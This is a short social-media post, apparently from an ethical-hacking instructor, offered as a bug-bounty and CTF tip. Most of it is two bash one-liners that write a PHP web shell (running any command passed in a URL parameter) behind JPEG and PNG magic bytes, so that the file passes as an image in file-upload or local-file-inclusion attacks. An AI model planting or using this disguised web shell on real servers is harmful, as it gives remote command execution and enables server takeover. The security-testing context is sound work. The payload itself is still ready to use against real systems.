If you need to quickly make RCE code from bash disguised as an image for an LFI/malicious upload.
echo -n -e '\xFF\xD8\xFF\xE0<?php system($_GET["cmd"]);?>.' > shell.jpg
echo -n -e '\x89\x50\x4E\x47<?php system($_GET["cmd"]);?>.' > shell.png
#bugbountytip #ctf #hacking
Ethical Hacker & Fullstack Dev | Helping thousands learn to hack ethically & build secure apps | CTO @hackinghub_io | Director @bsidesexeter

